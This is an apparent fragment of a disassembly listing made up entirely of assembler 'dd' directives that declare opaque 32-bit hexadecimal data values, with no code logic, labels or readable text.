dd 9B5316D9h, 14F0B832h, 348F8F66h, 0E0259109h, 0C184FDFDh
dd 1270EE1Eh, 4B5A5652h, 74E7EC89h, 0D9C7BBB5h, 0C869FDA9h
dd 9DE3982Ah, 54ECD68Bh, 4EE9D909h, 0C208F487h, 0BA56417Ch
dd 2BC3B9E0h, 0AC204ABEh, 0E781070Fh, 0B2EC628Dh, 7CB09F7h
dd 780038D8h, 6391171h, 0FEFB292Eh, 0F5FE10A7h, 0B66EBFF6h
dd 51E68102h, 72651373h, 30603C7h, 5DE93A07h, 0CE51AF32h
dd 12FF5494h, 8490BD5Ch, 290390E0h, 17C2206Fh, 0B6528248h
dd 0F328910Fh, 60C5695Ah, 9E555F67h, 0EEC8A9F1h, 177CC169h
dd 0A112E91Eh, 7E0D389h, 0F6DD28Eh, 2217B85Ch, 985D3FE6h
dd 80B7DBC8h, 0BC76EE81h, 10404248h, 4E76B3ADh, 0FEACA1EAh
dd 2F596149h, 307F4A8Ah, 0EAA51C7Dh, 0F71D0AB5h, 14A4D106h
dd 0B126BF00h, 391E05A6h, 0E04B5C2Ah, 259F235Ah, 30BAC2C5h
dd 32201375h, 0CEE93E1Fh, 4A8852AFh, 0BBE100FEh, 6B4F36C1h
dd 0A095C8F4h, 0B2010727h, 0BA52021Ah, 5237E8Fh, 0C199E077h
dd 4064AE9h, 0E0E50222h, 0D27A76CEh, 2C17CD5Bh, 52432ECh
dd 69570B78h, 0E9560980h, 0F1BC8231h, 0D6702849h, 0EEC01A02h
dd 0FEC46208h, 82844B0h, 20FA288Ah, 5E5E1521h, 221CCA6h
dd 599DB128h, 2E9E12Eh, 0D17E8BE1h, 0D22443E2h, 0A0B3FFAEh
dd 91662D2Fh, 9A5434E6h, 0C6E630AAh, 2B170EF5h, 63840160h
dd 4FA40816h, 29AFA8C7h, 5A59EECBh, 5563289Bh, 0ABBE5600h
dd 812AD96Bh, 773C02CEh, 10E9757Dh, 0FEBAE048h, 572177C2h
dd 0D530841Ch, 0B12B83A1h, 62C9F739h, 507F39A8h, 8041D839h
dd 6850547Ch, 803FB99Eh, 0FE1EB353h, 0EB33C0CBh, 0AB800A07h
dd 0DCA69FFBh, 1584580Ch, 0C144E909h, 0BD404F5Ch, 7DC50865h
dd 97522D4Ah, 8BC25693h, 34933656h, 27792ABAh, 9013E30Ch
dd 24681C77h, 8BEC497Ch, 65C421Ah, 0D03107EDh, 1D79942Ch
dd 0FAF02805h, 0B85B2248h, 992939B5h, 7A0CC0CEh, 0C7B70697h
dd 0AFEEF39Fh, 0F45A3238h, 2943DAC4h, 0E24A83A7h, 484ECBC5h
dd 77FED57h, 4D293B25h, 7A0779D1h, 662EA22Ah, 0CB21AA42h
dd 2A1C5F09h, 0AF748749h, 84514925h, 12FB3B40h, 0B59E835h
dd 66876EE9h, 0A2591A8h, 69D9AA51h, 0D8C651C6h, 26CC3014h
dd 9670DDE9h, 646B04ACh, 28FFA5h, 25A3689Bh, 686F0BFDh
dd 4530E30Bh, 10CC31EBh, 417D9454h, 0B04701FBh, 0AB3220C5h
dd 0C1DF92BDh, 0C46FD63Bh, 892CEAA7h, 80A17AE9h, 9C1E2CBFh
dd 0F8924D94h, 0EA681D81h, 14B41447h, 42DAF702h, 0FD802D40h
dd 0A62E5D81h, 561677C5h, 3F005492h, 67F40594h, 254F7147h
dd 0DB58E7C1h, 1B2EF50Bh, 70100FC7h, 7B4DF34Bh, 16E67030h
dd 764F125h, 0D14028D5h, 0D6080E0h, 30C357DDh, 0A88113D7h
dd 0E65AD031h, 59D897C2h, 0E205087Bh, 78861E99h, 0ECF5B904h
dd 85BBF817h, 0C2287F1Ah, 0CA50E2Dh, 0DC446568h, 0C07FFC07h
dd 23DFC6F4h, 0B6D85F31h, 76206989h, 0FC768C2Fh, 490FC157h
dd 6B060A5Fh, 9ED552D6h, 0C15B251Bh, 69EF5293h, 111F43F3h
dd 0F2530ED4h, 581E18Ch, 8A5D3FEBh, 250EF4Bh, 67386208h
dd 0EED2D226h, 74379A5Eh, 66C30F58h, 0D64DE28h, 572394EEh
dd 0C490F2E3h, 8DFA828Dh, 683BE5F9h, 3E285ECAh, 0B371FF52h
dd 65E51EADh, 74A6805h, 3F042BF3h, 0EE6E7E2Dh, 0A0DA0C6h
dd 41E9CF01h, 0AFBA83A6h, 42FBF77Dh, 8DF8A4DFh, 0A3C17BB9h
dd 55BA2DF0h, 495B5E9Eh, 0C0FA7E2Bh, 0C057500Bh, 0D40A0116h
dd 1EDFD0Ah, 83B5FE38h, 62D02D1Ch, 0EDBF6DBDh, 38D12DD3h
dd 0D5A5E984h, 8F5187B7h, 5912AE2Ch, 0D3D48157h, 0D9A1241Ah
dd 0E11AA39Fh, 40DFD910h, 0F2AAC8DBh, 0D2A24AEEh, 83F7E633h
dd 0E3C16CA9h, 75841F05h, 534F4360h, 0E5B193BBh, 0A2803E51h
dd 3052822Dh, 5D1C7764h, 5F16C757h, 0A3F2D829h, 505F0C5h
dd 5D84E912h, 295ACA1h, 7F161C74h, 8A0C3D6h, 4A060CC0h
dd 3168417Bh, 0FFED0E89h, 1F693CD4h, 78552E1Eh, 1EFAD239h
dd 13FE79AFh, 0BA5CDD4h, 0C490E7BBh, 0EF5C2685h, 2E071071h
dd 58CFA34Fh, 955D7D56h, 75C95A7Eh, 270FC8E0h, 17E90D3Bh
dd 15FE8207h, 27DE176h, 3BE2895Bh, 2717F7D0h, 0F0B52012h
dd 0E7C70804h, 11C2771Dh, 4C8A2ECBh, 881C6394h, 0E90B82C1h
dd 0BF6CC2ECh, 0DB5FEFF2h, 25A93125h, 0B8E1CC9Fh, 5702E31Fh
dd 486B90BFh, 0F112DD1Bh, 0D3141E77h, 1611DA0Ch, 0C25D54E9h
dd 2CEA5F13h, 0DAA8C03Dh, 2158C580h, 0D1BD2527h, 0B02FA2ADh
dd 0C5A325ECh, 92D22C6h, 42267198h, 0AD0EBB18h, 0B2554F36h
dd 0CE9A7F06h, 0FDFB50EBh, 25EE9701h, 0DA9DECB2h, 23E92DE5h
dd 68AD7A81h, 98F33A60h, 101EBA02h, 9B5D3F51h, 5A1A00F5h
dd 27CAF281h, 0C0956DB7h, 3EDD5147h, 7DFC4A34h, 321B2684h
dd 0DE03020Ch, 25DE810h, 7ED0298Bh, 9CE188E5h, 97A25B12h
dd 1CB53EC4h, 0DDF67CC0h, 0CAF3ED80h, 19A7B406h, 0F0E1061Fh
dd 3CE1E0C7h, 591875A7h, 0DD0CCF28h, 0A1AE55E9h, 9F586120h
dd 0E909526Dh, 9FB0585Ah, 0FC01DBE4h, 89FB492Ch, 0CC825DEFh
dd 46AE311Fh, 172410D6h, 0E5E90705h, 0AE07A152h, 0E256EF8h
dd 9858DEECh, 45A34F0Eh, 8C19D8A4h, 0E79B5E35h, 0B009B0A4h
dd 0CF022C6h, 88A55918h, 74257B77h, 0E91656ABh, 0C3478C5Ch
dd 73BD2F7h, 37902D6h, 0E0E9C8B0h, 0B1631668h, 0B88F3ED3h
dd 0FAA92A49h, 3EEE8AAh, 4F5D15BCh, 2E969CD9h, 0AF82C475h
dd 0F780019Fh, 0EF25206Ah, 0C2DC0E95h, 5C6B9168h, 661260D2h
dd 0F8C65938h, 9A0F16F6h, 29015C25h, 9900134Eh, 29442AE6h
dd 0B701C112h, 60E73068h, 5F02EFAEh, 0E903B252h, 26A75CB5h
dd 8EE7923h, 9FB95Ch, 0BDAF596Bh, 0C05E61E9h, 0BB1792E3h
dd 519540D1h, 0E2572EB9h, 0C9811C01h, 7C0C1269h, 571EE48h
dd 0C14D5C6Eh, 7C8ECE1h, 0D2309038h, 54E621E2h, 0BE1284CDh
dd 2B82FAA3h, 99E64E5Ah, 0BD5500B4h, 203F44A6h, 0A3C5811Dh
dd 0E93A4982h, 4EE6D0FDh, 1AE8F821h, 61EDEF05h, 7F65288Ah
dd 1A7794A6h, 0DC449A03h, 25EA5651h, 0BE627E41h, 49FA7158h
dd 59E11A5Bh, 742C0FE9h, 9CB3113h, 0FEDC086Fh, 928BA60h
dd 912ADC7Fh, 87C84ED0h, 24D25A44h, 0DAACB8E8h, 0B570BE43h
dd 5C166565h, 0D040F289h, 482F1C77h, 73343247h, 0BDC4BE0Dh
dd 0B040FCE3h, 452B1FF1h, 1713E646h, 18AEA970h, 0B4A279C2h
dd 0B1D79835h, 3CD03370h, 0DEF13F02h, 7A02ABD8h, 0ED6E2091h
dd 36028DBCh, 0F809A555h, 51078230h, 4170AF5Bh, 76044598h
dd 314C726Ch, 11A290BAh
dd 18608C71h, 0D729523Ch, 5BA2A009h, 0C9990535h, 0AA8938E7h
dd 2FE9FF2Ch, 0BC5927AFh, 67E26880h, 715952B0h, 8FBCC149h
dd 6F78C403h, 0A214409h, 0AF1C3F4Ah, 0FE04EED7h, 73E3E39Ch
dd 3B39CD4Fh, 0C2012F4Eh, 0D5ECC4E9h, 5A5C7414h, 0B3A62DC3h
dd 0D1F3EAE7h, 0AF57927Bh, 1FADA861h, 7672B800h, 0DE228825h
dd 9F0449DFh, 10C51013h, 18620CD1h, 0E4F49F35h, 1833658Ch
dd 288E905Dh, 9D5B1F2Ah, 729F9D96h, 9BBE8E6h, 97E9F754h
dd 9B900C50h, 61B85000h, 0D4B583Bh, 0AD4F50E4h, 0F96725E9h
dd 657F8E68h, 0F972A127h, 68578305h, 0F9BF1DA6h, 0F758675Ch
dd 0E00D1694h, 0CD0E096Ah, 50277BFAh, 99EDB12h, 335B9583h
dd 0E324A2A6h, 91FDA27h, 72E9555Eh, 3A96DAF8h, 3EF168C1h
dd 0E933CC7Ah, 18194027h, 8214D975h, 0D9A738D9h, 0FEF1AD6Ch
dd 9C02F24Ah, 0FE7C9078h, 87608345h, 1C24836Fh, 0E98935B7h
dd 80A3C05Fh, 7A8A70F4h, 0A89C25E1h, 0AABC72F9h, 609DDA2Fh
dd 276855C0h, 0E7657087h, 1F16692h, 0E018F13Fh, 4CD677EDh
dd 3622E99Dh, 3891BC10h, 78B94BBEh, 0AE2CDE12h, 25686E28h
dd 43C6717Eh, 1821080Bh, 45A98226h, 0E91CD6ACh, 0DA8CB157h
dd 448C406Fh, 5F2ACC63h, 0D8E7D13Eh, 0DC1A6B0Dh, 8153C573h
dd 4F1BDF7h, 165DA320h, 0C776C51h, 6B601A94h, 216C2B0Ch
dd 0A3E91A17h, 5EC632A9h, 20554CF4h, 0E0E7605Dh, 542F5181h
dd 0BD04FAC5h, 429C4F16h, 0DEE26DE9h, 524B9ECEh, 4F4082ACh
dd 92FDB34Ah, 98C775B0h, 22314527h, 0BEA524E7h, 0E0D0A469h
dd 3906C3BDh, 0BAF6B5Ch, 5075E905h, 535D4C2Bh, 2F1B8A06h
dd 20209C1Dh, 0D988259Bh, 7B917094h, 53157C2h, 7D88AB5Bh
dd 40175D59h, 0AA055684h, 84786F8Bh, 212D2A84h, 7A0576F1h
dd 0A4CC8AA9h, 4FC4EE90h, 0ABA58C6h, 22B45713h, 0B090CFh
dd 26825931h, 6C3EED81h, 45411104h, 8A9414E9h, 79EB9924h
dd 0B6E67C74h, 248D90D5h, 96B0FE86h, 59DBD121h, 22B80176h
dd 966B2FF0h, 9E44FECh, 3D39BBA8h, 8BB3B33Bh, 0D2FF7A2Bh
dd 0D638FFB0h, 173CB20h, 0BA0D8158h, 3E2C7A1Bh, 0F0F979AFh
dd 405B605Bh, 226D46D3h, 290B0CC2h, 0CFA6E166h, 8001471h
dd 4F586850h, 0DC7A306Eh, 1E13452Eh, 0E812D9F7h, 2CC86288h
dd 85415891h, 0A8E57748h, 5DC20D9h, 6FB1F581h, 0ED998191h
dd 4D90D8A6h, 5DEA2912h, 680150BCh, 89034312h, 58677ED7h
dd 6802BD44h, 34F57B4Ah, 525B04DFh, 0B03DDE9h, 986E6658h
dd 0B53B4E5h, 957DC88h, 65ACD4DDh, 0DA718154h, 807A3892h
dd 46F76853h, 0F0184F70h, 1B8006A0h, 536148B9h, 0D1B88412h
dd 7A02EDB8h, 0C94FB6DCh, 2D74AC8Dh, 6C490197h, 5324F551h
dd 0BB42D04Bh, 0AA2E2111h, 1D92A18Ch, 44F9FD52h, 0EC242E14h
dd 90FCD5A7h, 69D86840h, 0F860FCB4h, 9E508EF1h, 0F08439B2h
dd 0E711AEE9h, 0A5680AC2h, 0E9851D55h, 4ABF84BAh, 2CE02DBh
dd 0E8A813D3h, 0B1E9E4C0h, 852FD5B6h, 51C5A7C5h, 8F419AB8h
dd 335D0801h, 0A8A551B9h, 8C027792h, 0C70E0664h, 5687E0D1h
dd 79CE5E3Bh, 22C7064h, 749DE913h, 0D2ABDE94h, 1AB85958h
dd 0E65FFEE9h, 0F3688A30h, 0D7339F4Eh, 541BCD1h, 6EC0A30Bh
dd 88530EAAh, 0DE6152D3h, 781FE950h, 2AB800B5h, 512E1209h
dd 243DE8B9h, 1F6C2B95h, 0FD1C8FC1h, 0A9F6F53Dh, 0DDC54FFFh
dd 80D994AAh, 36730F5Dh, 0EDC13009h, 1DE35E08h, 704084CDh
dd 7A7FC23Bh, 6652545Eh, 7BE0091h, 0C17DE537h, 54C005E6h
dd 100E2FC3h, 391EBE45h, 0DD144A05h, 5C0BBEE1h, 0CF4B68F0h
dd 0A2BC27A9h, 0DA32D9FEh, 1ED85975h, 0CD0A5EC1h, 0D085C53Bh
dd 0A712A010h, 22AA89E7h, 0D37CEED1h, 2831C781h, 33E6062h
dd 47D7F732h, 1884181Ch, 20FCBF93h, 0C9DDAA17h, 0C7876FCAh
dd 73C91124h, 1049CCEDh, 9F0EA2FEh, 5752A073h, 3B0C23BFh
dd 497F0AC0h, 1860A218h, 6D5A4411h, 0B5225095h, 91809DDAh
dd 0DA50B483h, 0AF4A97F8h, 0BC5AAEE6h, 57028486h, 0D48EDB6h
dd 0A27B0816h, 355A2600h, 81F30212h, 9099553Ch, 6F5A12ADh
dd 0D85BA3CFh, 3481CE1Ch, 12072407h, 0E03A61E8h, 29CABD05h
dd 48E1ADC6h, 94E909F1h, 0A0F75AD2h, 0B187C2Ch, 0D0316125h
dd 8EC270FEh, 0BD987F23h, 462FDC07h, 0BB97B35h, 9E6D831h
dd 8963E92Dh, 0AF4599F8h, 0DADEC82Bh, 0BD807260h, 13CD7784h
dd 0FE6C317Ch, 302EF248h, 37066698h, 0E425930h, 25ADB665h
dd 0F4698958h, 2336C808h, 5CE0A7B4h, 4B68E1F7h, 0E9BD30BEh
dd 0E09A9391h, 0FE5BD803h, 0E17434C8h, 206C0A6Bh, 0ABB2E3CFh
dd 0DFCC0938h, 4D458BEAh, 54E44900h, 531D67C6h, 0B18123BBh
dd 0EBA7E941h, 0EBA43128h, 2286DCBh, 0AAB3202Dh, 2D746813h
dd 0C9C4B2ACh, 9E213504h, 537BEC2Bh, 5460B92Fh, 0D74A9392h
dd 899F5EB3h, 0BE5F2CABh, 32B2BDB6h, 0F70C1156h, 7C66F99h
dd 394C1B27h, 0B00DC453h, 0EAB96656h, 5760ED0Ah, 38B80EBEh
dd 0EFBC9355h, 94834C78h, 132D1A7Ch, 0CFC3388Ah, 0FEF029E1h
dd 2A9D2660h, 92A3A5D3h, 9740F78Bh, 0CE97539Fh, 81F54E81h
dd 0F0B4BA4Dh, 5B957A7Ch, 6F300DEh, 0DA312CA1h, 43F282A0h
dd 56DD1213h, 680987A8h, 62767780h, 8896FC5Ah, 0F32FF644h
dd 0F07F126Ch, 0CC849A0h, 8159008Fh, 558D6F3h, 3DB4048h
dd 0FAE1428h, 7EF0C2E9h, 0DA9251B4h, 0EA2E1955h, 297AD3D5h
dd 0B4616BDDh, 87967E0Ch, 0B23D8297h, 0E4D08A41h, 9899AA05h
dd 15211964h, 0A4200471h, 0B805B753h, 5C0C403Bh, 0AFE549B5h
dd 1CF07DADh, 4E058690h, 2125E268h, 0B081C1C3h, 59935AD6h
dd 9910F243h, 34BF0275h, 60227E1Ch, 123EEFE9h, 0BFDF7817h
dd 51E40113h, 7E91751h, 0D7E6AC90h, 0A26E8289h, 7C5D241Ch
dd 1136897h, 0A74E29B6h, 21322798h, 0FEF570F0h, 456B2DD1h
dd 0C7F80143h, 9CD62B44h, 7C03F97Bh, 0C954A074h, 5485A18h
dd 5C809905h, 3DB4A121h, 7D4FD22Ch, 0EE7041D7h, 558C50C1h
dd 227A7B33h, 99D66A4Eh, 87F1952Fh, 5C67C052h, 31A983F4h
dd 9D493A70h, 295FA5EFh, 1A1EFDF4h, 1238E72Ah, 809B0C2h
dd 0B68400F5h, 2E01933Bh, 3D24EE87h, 12BC9064h, 27C35989h
dd 32C9B963h, 28A46A01h, 429172Ch, 4022FD26h, 0B254E908h
dd 0CE1B87D7h, 0D908D9F7h, 396CFAC7h, 0D286882h, 0D12433CCh
dd 0A5C0C251h, 0CB2E7E03h, 0B61A0298h, 0CF40856Eh, 0E0EC833Ch
dd 6F3281F2h, 0E070C820h, 82F32DC1h, 675A0277h, 3B11547Dh
dd 10BE4A8Eh, 2E3F02D7h, 42E309E8h, 0A011C75h, 0FD890820h
dd 0BDA4A3E9h, 443A3CF9h, 2871124h, 3B152A52h, 0C08FC3E1h
dd 0C10A2DA1h, 924508E5h, 267B70Eh, 6A9BE948h, 464EDDC2h
dd 2200A15Eh, 0CD8083B5h, 76EDE697h, 0CEC52709h, 0D09709D0h
dd 0ED8390D8h, 25E9F1D0h, 8EF113BBh, 743A7B82h, 6C566105h
dd 0CFE20ECAh, 85D7331Eh, 35AA8799h, 5BC5B94Ch, 79E94142h
dd 4715D6DFh, 7549EF51h, 6DBB7BA0h, 724A3F65h, 9204D5EDh
dd 0FB8DC09Ah, 5316D985h, 0E9094EFDh, 0CA47CAA5h, 0E2AC7E2Dh
dd 80016ED1h, 697CEEBh, 13C7A868h, 20AEA185h, 4DEEC5DDh
dd 0C397FA2Dh, 50602BAh, 409C0969h, 5E3C44DDh, 0B3891643h
dd 0AB0BD34Fh, 0AC6A714Ah, 6551AFD7h, 9D0CE904h, 40855FFFh
dd 0DC547C0Dh, 9090515h, 77E3AB42h, 0F583A502h, 6D66C307h
dd 2F67B7C9h, 0EAFDE985h
dd 849B27BBh, 0A7B59760h, 4DF530h, 43D0C720h, 76907B7Fh
dd 8809C90h, 945AF1E9h, 0DE05ABCDh, 0BBBB74BAh, 90EE2C64h
dd 56BF57D5h, 0CF367724h, 0E8A0208h, 0ECE4F201h, 758E9782h
dd 91E28D1Dh, 55175D59h, 0CE42215Ah, 36A805E4h, 472F7A89h
dd 8D6DE8C4h, 85E0F5F2h, 0E396811h, 8A9EA1E9h, 63C72F08h
dd 0EFC0DCBDh, 0B83A5031h, 4F173BFEh, 0BC4025E1h, 2672189Eh
dd 5674369h, 0C033510Bh, 0A235F3C8h, 5016402Dh, 8011027Bh
dd 0B225E91Ah, 94E8B1A4h, 0F52BAF6Bh, 1C46BB6Ah, 2B85FF1Eh
dd 81D6B450h, 3B80655h, 789FB252h, 63D19551h, 172C133Dh
dd 0E669F821h, 4E7FEE36h, 50E10947h, 0DBEAD882h, 0FA15E30Bh
dd 790050D0h, 76201768h, 7E21011Eh, 0D460A93Bh, 0FA06277Fh
dd 2508E93Ch, 4C11292Bh, 9C5394AAh, 0F017510Fh, 6EA3BB80h
dd 9B1BCF7h, 61FF300h, 352371Dh, 0E5490DBAh, 0C1894A28h
dd 262D60E2h, 43B7C41h, 0BAD58BB1h, 0C71C58CAh, 1EA90382h
dd 0CA10DF01h, 0FE079A99h, 40D2F6CAh, 0CDF280C2h, 4F12EAE6h
dd 30CDD388h, 0D7B1AB02h, 1CC9BBE6h, 0FB4387B2h, 6635159h
dd 3D66C331h, 0BA68561Ch, 95E3B4A7h, 9677E729h, 69662061h
dd 190CC81h, 0D76FEE81h, 7BF9B7DDh, 934987CCh, 629D4AB7h
dd 7487F288h, 5BFE0338h, 395CB353h, 0E3833BD6h, 5EBC011h
dd 17880C48h, 1FC9CB35h, 0A9D738E0h, 0BB41EFFDh, 845308C9h
dd 78E7FAE3h, 685D09B5h, 0B2570EC0h, 6DE58057h, 0B81F442Ah
dd 6ACD3871h, 0C4E9100Eh, 7EEFB4D6h, 4D54200Fh, 0EEDF8540h
dd 0F128FFF7h, 2C11D93h, 0E912A268h, 0DE34EF24h, 5952CCAAh
dd 29906818h, 827DF429h, 596EB5Eh, 0A9098DA8h, 80F4CE8Ah
dd 1344A739h, 0CA52FA84h, 1367C25h, 7B4F1171h, 320FE805h
dd 0AB812E5Bh, 0E2B6549h, 0C2BAB0BAh, 6815A260h, 10B8CE5Ch
dd 58580A3Eh, 197833Eh, 0BB37154Dh, 0A81A4548h, 4E77686Bh
dd 3B1AB0FFh, 573063ABh, 0CC0E7460h, 8EE92B4Ah, 0A0300841h
dd 0BB9A4075h, 0DC08B005h, 738729D8h, 8CBC7FD5h, 4B90CA4Ah
dd 0E4BB7922h, 79D7209Eh, 48F75D5Ah, 889E2F7Eh, 0A439B047h
dd 21232E0h, 0CDE7CBCh, 0CB339C7Dh, 75D9601h, 6E3C17Ah
dd 1784ED20h, 0FC85D76Fh, 68500BEBh, 0AFD3C702h, 0A29590D0h
dd 0DDF9F6C3h, 0BD231866h, 6AF9424Bh, 3264AD07h, 0F70543D2h
dd 2B00D229h, 2FB3F2FDh, 0C90E5167h, 6B552B4Fh, 47DEF008h
dd 0E93F123Bh, 0D0B7E007h, 22B7E548h, 58C116A2h, 6413F849h
dd 19800706h, 16F41AD0h, 8530E92Eh, 797AB647h, 0A72DBBA4h
dd 73E8F46Ah, 0B0CFE5F1h, 6BB41667h, 0A8B14A51h, 97E47A79h
dd 378187CCh, 0C01FF264h, 0DC7A8C0Fh, 0D2830146h, 0B80AA82Ch
dd 63901720h, 30FD3F54h, 8A10E562h, 9E8B0B9Dh, 0CEDFF34Ah
dd 87CCBF2Dh, 0DD9BE912h, 7E950161h, 59DFEE10h, 0C7D9830h
dd 2E8E1EE2h, 0D2B95F6Bh, 89B92F61h, 0E65AD183h, 7396B76Fh
dd 4902EBA1h, 384A150h, 2CAE5893h, 6B401D84h, 1EE607BEh
dd 508164EBh, 7C167DC9h, 186450B7h, 0C5DF00Bh, 0CC2F6C60h
dd 0CA6D82Ah, 105D8F7h, 0BB7B354Dh, 89133A0Bh, 0D07B0FC5h
dd 1FF4B2Ch, 0A0E72126h, 99126B31h, 9BAD0A0h, 5BBC178Bh
dd 0D51146C0h, 9F6A7582h, 0E90BFBC5h, 48D3E1D9h, 1DFBA43Ah
dd 0E159292Dh, 0B8304128h, 0BC5205A4h, 0C2DFF725h, 210978DDh
dd 421928C6h, 61EF8130h, 0C1E90D26h, 0EA5D2A76h, 0F2EDDD0Fh
dd 5689CD5Ah, 0B440EBE7h, 5F8270BCh, 519F95C6h, 0C0836324h
dd 8121FFFCh, 8604EEA4h, 74207E07h, 0E65E5FE0h, 250C222Bh
dd 17FEAD49h, 20484C69h, 892EB26Ah, 410B64F5h, 4E89C67Eh
dd 0A47FA252h, 0FBC4C8FFh, 8B3D634Eh, 5302303Bh, 80BF67E9h
dd 5FEDBD6Ch, 0C93C4EBAh, 19BFDC27h, 1270253Dh, 9F9F3CDh
dd 0A039ABD7h, 9233A22Ah, 0F6F4B03h, 0CAC09F0Ch, 4A092F62h
dd 95FDD15Ch, 8180CDD0h, 0D4745734h, 0CC5E96Dh, 2D9F5538h
dd 8807031Ah, 5AD7D1F2h, 271E785Eh, 0A7E7F605h, 0D20C058h
dd 0C48019A5h, 0ECF0065Dh, 10B2CEC6h, 696291ECh, 57C5C223h
dd 47537107h, 5506BC3h, 6CA2DB26h, 25AB7E69h, 0E941B4F9h
dd 0FE0211A3h, 80301340h, 1B93EB58h, 0E241A843h, 591AFE02h
dd 90D86F56h, 57879D86h, 82B36F4Eh, 4D605980h, 0D582E6C1h
dd 0E912581Ch, 49446CE1h, 80A802EBh, 7E5A0380h, 1720E950h
dd 495C5E76h, 0F7F6AE63h, 2C7C4F25h, 5DD01A97h, 2B948077h
dd 0B816C048h, 92AB2076h, 0F5CA293Bh, 680EA762h, 2B49C19Dh
dd 0BD0D14E8h, 8322E9C7h, 200BE92Ch, 0EB2CB78Eh, 7B7B90CBh
dd 0BE838167h, 218E9794h, 41B04653h, 731F12C3h, 4DAE87Eh
dd 715D6785h, 6C5C3C01h, 72406BF3h, 14B00BC6h, 3BC2B5B8h
dd 0E9044676h, 16FDBCBBh, 121AF94Bh, 0BF656740h, 7DAB6E13h
dd 1B652099h, 0D5BC4A4Fh, 0D82AE9C2h, 5E977FCh, 95A04769h
dd 0BC2926CCh, 2D9816B4h, 0E90FD2B0h, 1B586Ch, 2E3A355Ah
dd 0C62D5D16h, 0D90CA413h, 0E91020EEh, 5195C276h, 0B9AA831h
dd 79E170DBh, 2605B00h, 0C1760D3Eh, 0E1D1063Ch, 31353216h
dd 5D6855FEh, 7F2CF5E3h, 0E108FD0Bh, 0F40F388Ch, 16D3885Ah
dd 66434710h, 922857BAh, 307FEB47h, 3CBB530Eh, 70A80878h
dd 0F78C099Dh, 0FF848F76h, 81AFEC7Eh, 78EAB951h, 0CDE50DF9h
dd 5325FB69h, 0C3BA1DE0h, 6FA76416h, 724BCF2h, 2585100Dh
dd 5574B228h, 0B551C840h, 0E580170Eh, 46ED67A4h, 33E9E801h
dd 0FE1F5668h, 0D737F9CCh, 14BAC20Ah, 5A492075h, 0A06D872Ch
dd 410A184h, 3BE96641h, 0B1B7E8C9h, 842E555Bh, 6227E15Ch
dd 0F2A3932Ah, 0E9F32906h, 0BB0CDB99h, 3E0611D3h, 3E9A41ADh
dd 5F2E34E6h, 0A4555A14h, 23443CB5h, 24014ECh, 78657E75h
dd 24CC7C59h, 3D6100BCh, 0D5217F15h, 97EDE4B8h, 4BBA055Eh
dd 29DD2DDAh, 183C83E7h, 1CC72A91h, 36E3CCEh, 40DC0FA8h
dd 90092D8Ah, 48637F57h, 80F0ACACh, 6626F830h, 620B365Bh
dd 4FB9A90h, 0A5CCB190h, 59CB0E28h, 1270B868h, 0EFC225E9h
dd 4B696CB9h, 528FB78Ah, 0EFBC4B8Eh, 14656984h, 470709F2h
dd 0F6078774h, 3E342A77h, 19049CC5h, 72EACB77h, 1C7D586Ah
dd 56530634h, 180FD4E9h, 290BBDh, 705EC738h, 0EE7E7A7Ch
dd 231A0BCFh, 0D90416C3h, 0F010BC6h, 0BAF8044Ah, 0C727BBB9h
dd 2340E9CAh, 5418F9E7h, 0C51A4E79h, 74142C45h, 0E3E98C62h
dd 52093549h, 0FD2EA607h, 64F5C122h, 53608E71h, 16626850h
dd 75B9D76h, 8589A2F0h, 248BDA4h, 0AF5CB9EEh, 0E988E036h
dd 0BC80BD3Dh, 625870BFh, 9B4B7C7Ah, 595B0D00h, 50885253h
dd 41D6E4C6h, 6B03AABh, 3CD5C2Fh, 0DD2558CFh, 0DA8EAC8Eh
dd 0A2BEF506h, 23E7A129h, 69261E2Ch, 5BD56858h, 0C218F84Ch
dd 777901E9h, 0BB49D666h, 0F9211B2Bh, 1A4DD14Fh, 0A2EB7581h
dd 7E230B71h, 882E13C1h, 3A845657h, 0B2527791h, 0EEA0830h
dd 57B3537Bh, 0AED8CBC5h, 0ABA87309h, 90E24677h, 818440D9h
dd 6B85E50Ah, 0C500EE0Eh, 0D5D6054h, 0E2E95E01h, 69D809BAh
dd 7B87663h, 7CCD4EAEh, 3702670Ch, 8FE90266h, 80804EFAh
dd 277E01DCh, 0F474357Ch, 64706F09h, 54BD0295h, 2D5871CCh
dd 0FAE90682h, 6812E2D8h, 80B209A5h, 0ACD918DEh, 4218CAEEh
dd 0B65F71A8h, 3DE6BF67h, 4664CD25h, 24F79058h, 1EBE1FBEh
dd 0F5AC0D3h, 0E468C0B7h
dd 0DE25A3B4h, 8008720Bh, 7F1462FEh, 838C48F9h, 0AAF01B03h
dd 738B80E6h, 90486F34h, 1B8B0297h, 0D7F73891h, 42770EE2h
dd 4F3336A6h, 0EF4F13D9h, 7DE9683Ch, 0B148D64Fh, 1CF67ABFh
dd 1335F74Eh, 3721D25Ch, 96046332h, 0B9382972h, 93815B68h
dd 0DA56CF1h, 0C6BF8050h, 0B4EBF2FDh, 0A4968848h, 7AC26802h
dd 0EE18E8D9h, 770980AFh, 0C18F1C4Fh, 0ECE9A961h, 9C2EA662h
dd 0CC421B6Dh, 0BFA7A02Dh, 5CB75723h, 27353966h, 3C4EB0Dh
dd 0B18512EFh, 70E22AE7h, 3C7D5C8Bh, 915BBD3Bh, 7949D289h
dd 0F9DD8801h, 7004B712h, 21AFE769h, 295166B1h, 997E847Ch
dd 0F4024109h, 0ACD67461h, 950FF0C8h, 155C25Bh, 29ACC2D1h
dd 70845508h, 0ECF09430h, 0F6D7DEA0h, 4CB94E40h, 12060A5Bh
dd 350FCA68h, 4BC9AA59h, 90A1F23Eh, 0E34912CBh, 0C1344D20h
dd 4B327B77h, 0DEEDD060h, 8C0D3F7h, 550BE681h, 0A1C5829h
dd 8826CB20h, 94E4FFAh, 687EB0D8h, 0B90A4BF9h, 0B3E984EAh
dd 0B85C9AF0h, 0A238270Fh, 681591E6h, 85B62DAAh, 75FA0DB1h
dd 0AD9285D1h, 8292DE42h, 688240B9h, 40A54BE1h, 0ED550C54h
dd 0C90B8185h, 2F814A1h, 4D5D96Ch, 4F649133h, 0C5F31365h
dd 0FA4C14E3h, 68F6B224h, 5CBF8839h, 755E066Fh, 7CFD2F9Fh
dd 0DA366598h, 7542F782h, 29931255h, 7AB4FDDFh, 9F215C4Ah
dd 0CA3A9E59h, 0F94074ECh, 58681266h, 1290A215h, 8DE26141h
dd 16A8DF5Bh, 914311E9h, 1001CE68h, 25B342C9h, 514E1954h
dd 1DF8B3Eh, 4CB61BA3h, 0B7AD3E9h, 0BAD65FBDh, 4C5EF2C2h
